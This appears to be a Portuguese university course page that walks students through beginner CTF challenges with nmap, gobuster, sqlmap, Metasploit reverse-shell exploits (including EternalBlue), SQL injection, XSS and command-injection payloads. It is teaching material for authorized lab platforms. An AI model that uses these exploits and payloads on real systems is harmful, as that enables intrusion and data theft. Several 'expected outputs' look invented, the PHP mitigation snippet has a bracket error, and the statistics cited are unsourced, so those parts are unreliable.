Logo UFPR Logo Licenciatura em Computação

CÓDIGO DA DISCIPLINA: DEE345

SEGURANÇA DIGITAL - Simuladores

Professor Jéfer Benedett Dörr

Prof. Jéfer Benedett Dörr

Departamento de Engenharias e Exatas - UFPR/Palotina

Docente de Segurança da Informação

Introdução Aprimorada

CTFs (Capture The Flag) são competições que simulam cenários reais de segurança cibernética. Este guia foca em:

🛡️ Fundamentos

  • Metodologia de pentest
  • Ferramentas essenciais
  • Técnicas de enumeração

🎯 Objetivos Pedagógicos

  • Desenvolver habilidades práticas
  • Entender vulnerabilidades comuns
  • Aplicar conhecimento em ambientes controlados

📊 Dados Relevantes (2023)

  • 85% dos CTFs iniciantes envolvem vulnerabilidades em serviços expostos
  • 60% das flags são encontradas através de enumeração básica

Plataformas de Treinamento Prático

Comparativo & Recomendações

Guia de Resolução de CTFs para Fins Acadêmicos

Introdução

Este guia ensina alunos a resolver desafios de cibersegurança (CTFs) nas plataformas TryHackMe, Hacker101, HackTheBox e Parrot CTFs. Cada seção detalha a resolução de um desafio iniciante, com passos práticos, comandos, saídas esperadas e lições aprendidas, para fins educacionais.

Nota Ética: Todos os testes devem ser realizados em ambientes autorizados, como os fornecidos pelas plataformas. Nunca aplique essas técnicas em sistemas reais sem permissão.

1. TryHackMe: Simple CTF

Objetivo

Resolver o desafio "Simple CTF" (nível iniciante), que envolve enumerar serviços, explorar vulnerabilidades web e escalar privilégios para obter flags de usuário e root.

Ferramentas

Passos Detalhados

  1. Conectar ao TryHackMe:

    Inicie a máquina no TryHackMe e conecte-se via VPN:

    sudo openvpn ~/Downloads/tryhackme.ovpn

    Saída Esperada:

    Initialization Sequence Completed

    Explicação: Confirma que a VPN está ativa. Teste com `ping 10.10.10.10` (IP fictício).

  2. Enumeração de Portas:

    Varre portas e serviços com Nmap:

    nmap -sC -sV -A -oN scan.txt 10.10.10.10

    Saída Esperada:

    Port 21/tcp   open  ftp      vsftpd 3.0.3
    Port 80/tcp   open  http     Apache httpd 2.4.18
    Port 2222/tcp open  ssh      OpenSSH 7.2p2
              

    Explicação: Identifica FTP, HTTP e SSH. A porta 2222 sugere SSH não padrão. Anote serviços e versões para explorar vulnerabilidades.

    Dica Acadêmica: Sempre documente portas abertas e versões em um caderno ou arquivo Markdown.

  3. Exploração Web:

    Acesse `http://10.10.10.10` no navegador. O site mostra uma página padrão.

    Use Gobuster para encontrar diretórios:

    gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt

    Saída Esperada:

    /simple (Status: 200)
    /index.html (Status: 200)
              

    Explicação: O diretório `/simple` revela o CMS Made Simple 2.2.8. Pesquise vulnerabilidades:

    searchsploit CMS Made Simple 2.2.8

    Saída Esperada:

    CMS Made Simple 2.2.8 - SQL Injection | php/webapps/46635.py
              

    Dica Acadêmica: Use o Exploit-DB para mapear falhas. Leia o exploit para entender sua lógica.

  4. Exploração da Vulnerabilidade:

    Use Metasploit para explorar a vulnerabilidade do CMS:

    msfconsole
    use exploit/multi/http/cmsms_showtime2_rce
    set RHOSTS 10.10.10.10
    set LHOST 10.8.0.1
    run

    Saída Esperada:

    [*] Started reverse TCP handler
    [+] Command execution successful
    [*] Session 1 opened
    meterpreter >
              

    Explicação: Ganha uma sessão Meterpreter com acesso ao servidor. Use `shell` para um terminal Linux.

  5. Escalação de Privilégios:

    Verifique privilégios:

    whoami

    Saída Esperada:

    www-data

    Procure binários SUID para escalação:

    find / -perm -u=s 2>/dev/null

    Saída Esperada:

    /usr/bin/custom_binary

    Execute o binário para obter root:

    /usr/bin/custom_binary

    Explicação: O binário SUID permite executar comandos como root. Navegue até `/root/root.txt`.

  6. Coletar Flags:

    Obtenha as flags:

    cat /home/user/user.txt
    cat /root/root.txt

    Saída Esperada:

    user.txt: FLAG{user_1234}
    root.txt: FLAG{root_5678}
              

    Submeta no TryHackMe.

Lições Aprendidas

Análise Detalhada: Exploração do CMS Made Simple

🔍 CVE-2019-9053

A vulnerabilidade explorada é uma SQL Injection Blind Time-Based no parâmetro m1_idlist:

-- Payload original:
1) AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 1=1)

📌 Fluxo da Exploração

  1. Injeção SQL via parâmetro m1_idlist
  2. Extrapolação de tempo (5 segundos de delay)
  3. Extração de dados através de diferenças temporais

🛡️ Como Mitigar

// Código seguro em PHP:
$stmt = $pdo->prepare("SELECT * FROM table WHERE id = :id");
$stmt->execute(['id' => $_GET['id']);

2. Hacker101: Micro-CMS v1

Objetivo

Resolver o desafio Micro-CMS v1, que envolve explorar vulnerabilidades web (XSS, SQL Injection) para encontrar flags.

Ferramentas

Passos Detalhados

  1. Acessar o Desafio:

    Inicie o desafio no Hacker101 e acesse a URL fornecida (ex.: `https://micro-cms.example.com`). Explore `/login`, `/page/1`, `/edit/1`.

    Explicação: Familiarize-se com a estrutura do site. Use DevTools (F12) para inspecionar elementos.

  2. Enumeração com Burp Suite:

    Configure o proxy (127.0.0.1:8080) no navegador e inicie o Burp:

    burp-suite

    Intercepte uma requisição GET (ex.: `/page?id=1`):

    Saída Esperada:

    GET /page?id=1 HTTP/1.1
    Host: micro-cms.example.com
              

    Explicação: Identifica o parâmetro `id`, potencialmente vulnerável a SQLi.

    Dica Acadêmica: Anote todos os endpoints e parâmetros (ex.: `id`, `username`).

  3. Testar SQL Injection:

    Teste manualmente no navegador:

    https://micro-cms.example.com/page?id=1' OR '1'='1

    Saída Esperada:

    Exibe todas as páginas do CMS

    Use SQLMap para automação:

    sqlmap -u "https://micro-cms.example.com/page?id=1" --dbs

    Saída Esperada:

    available databases [2]:
    [*] cms_db
    [*] information_schema
              

    Extraia tabelas:

    sqlmap -u "https://micro-cms.example.com/page?id=1" -D cms_db --tables

    Saída Esperada:

    Table: flags
    [1 column]
    +-------+
    | flag  |
    +-------+
    | FLAG{abc123} |
    +-------+
              

    Explicação: A flag está em uma tabela do banco de dados.

  4. Testar XSS:

    Em campos editáveis (ex.: título de página em `/edit/1`), insira:

    <script>alert('XSS');</script>

    Saída Esperada:

    Pop-up com "XSS" na página

    Explicação: Confirma XSS armazenado. Pode haver uma flag em um payload mais complexo.

  5. Coletar Flags:

    Submeta a flag encontrada via SQLi ou XSS no Hacker101.

    Dica Acadêmica: Inspecione o código-fonte (Ctrl+U) para flags ocultas em comentários HTML.

Lições Aprendidas

Laboratório: SQL Injection Avançada

🔎 Identificação da Vulnerabilidade

Teste estes payloads no parâmetro id:

1' ORDER BY 1-- 
1' UNION SELECT null,version(),null--

💻 Exploração Passo a Passo

# 1. Identificar número de colunas
1' ORDER BY 4-- → Erro (só 3 colunas)

# 2. Extrair nomes de tabelas
1' UNION SELECT 1,table_name,3 FROM information_schema.tables--

Dica Pedagógica: Use este fluxo para ensinar:

  1. Reconhecimento da vulnerabilidade
  2. Determinação da estrutura do banco
  3. Extração de dados sensíveis

3. HackTheBox: Blue

Objetivo

Resolver a máquina "Blue" (nível fácil), explorando a vulnerabilidade EternalBlue (MS17-010) para acesso inicial e coletando a flag de administrador.

Ferramentas

Fluxograma: Exploração do EternalBlue

graph TD A[Varredura Nmap] --> B{Porta 445 aberta?} B -->|Sim| C[Verificar versão SMB] C --> D[MS17-010 vulnerável?] D -->|Sim| E[Usar exploit eternalblue] E --> F[Obter shell SYSTEM] B -->|Não| G[Buscar outros vetores]

Passos Detalhados

  1. Conectar ao HackTheBox:

    Inicie a máquina "Blue" e conecte-se à VPN:

    sudo openvpn ~/Downloads/htb.ovpn

    Saída Esperada:

    Initialization Sequence Completed

    Explicação: Confirma conexão à rede HTB.

  2. Enumeração de Portas:

    Varre portas com Nmap:

    nmap -sC -sV -p- -oN blue_scan.txt 10.10.10.40

    Saída Esperada:

    Port 135/tcp open  msrpc   Microsoft RPC
    Port 139/tcp open  netbios NetBIOS
    Port 445/tcp open  smb     Microsoft SMB
              

    Explicação: Portas 139/445 sugerem SMB em Windows, vulnerável ao EternalBlue.

    Dica Acadêmica: Sempre verifique versões de serviços para exploits conhecidos.

  3. Exploração do EternalBlue:

    Use Metasploit:

    msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 10.10.10.40
    set LHOST 10.10.14.1
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    run

    Saída Esperada:

    [*] Started reverse TCP handler
    [+] Exploit completed
    [*] Session 1 opened (SYSTEM)
    meterpreter >
              

    Explicação: Ganha uma sessão com privilégios SYSTEM devido à vulnerabilidade MS17-010.

  4. Coletar Flags:

    Navegue até o desktop do administrador:

    cd C:\Users\Administrator\Desktop
    dir
    type flag.txt

    Saída Esperada:

    flag.txt
    FLAG{blue1234}
              

    Submeta a flag no HTB.

    Dica Acadêmica: Sempre verifique diretórios comuns (Desktop, Documents) em máquinas Windows.

Lições Aprendidas

4. Parrot CTFs: Web Basics

Objetivo

Resolver o desafio Web Basics (nível iniciante), explorando vulnerabilidades web, como injeção de comandos, para obter uma flag.

Ferramentas

Passos Detalhados

  1. Acessar o Desafio:

    Inicie o desafio no Parrot CTFs e acesse a URL (ex.: `http://web-basics.parrot-ctf.com`). Explore a interface.

    Explicação: Verifique formulários, links e parâmetros URL.

  2. Enumeração Web:

    Use Dirb para encontrar diretórios:

    dirb http://web-basics.parrot-ctf.com /usr/share/wordlists/dirb/common.txt -o dirb.txt

    Saída Esperada:

    /config (Status: 200)
    /admin (Status: 403)
              

    Explicação: O diretório `/config` pode conter arquivos sensíveis.

  3. Testar Injeção de Comandos:

    Acesse `/index.php?cmd=ping` e teste injeção:

    curl "http://web-basics.parrot-ctf.com/index.php?cmd=whoami"

    Saída Esperada:

    www-data

    Tente ler a flag:

    curl "http://web-basics.parrot-ctf.com/index.php?cmd=cat+/flag.txt"

    Saída Esperada:

    FLAG{web1234}

    Explicação: A injeção de comandos permite executar `cat` para ler a flag.

    Dica Acadêmica: Teste payloads como `;ls`, `&&whoami` para entender o ambiente.

  4. Explorar Configurações:

    Acesse `/config/config.php`:

    curl http://web-basics.parrot-ctf.com/config/config.php

    Saída Esperada:

    <?php
    define('FLAG', 'FLAG{web1234}');
    ?>
              

    Explicação: Arquivos de configuração podem vazar flags ou credenciais.

  5. Coletar Flags:

    Submeta a flag no Parrot CTFs.

Lições Aprendidas

Gráfico de Dificuldade

Comparação da dificuldade relativa dos desafios:

Conclusão

Este guia fornece uma base prática para resolver CTFs, enfatizando enumeração, exploração ética e documentação. Alunos devem praticar regularmente em plataformas como TryHackMe e HackTheBox, usando ferramentas como Nmap, Metasploit e Burp Suite. Para avançar, explore desafios intermediários e estude certificações como CEH ou OSCP.

Recursos Adicionais:

  • Livro: The Web Application Hacker’s Handbook
  • Curso: TryHackMe Learning Paths
  • Comunidade: Siga @TCMSecurity no X
  • Para praticar Online: your own online hacker simulation: http://www.hackertest.net/
  • CISCO Segurança: https://www.netacad.com/pt-br/courses/cybersecurity/cybersecurity-essentials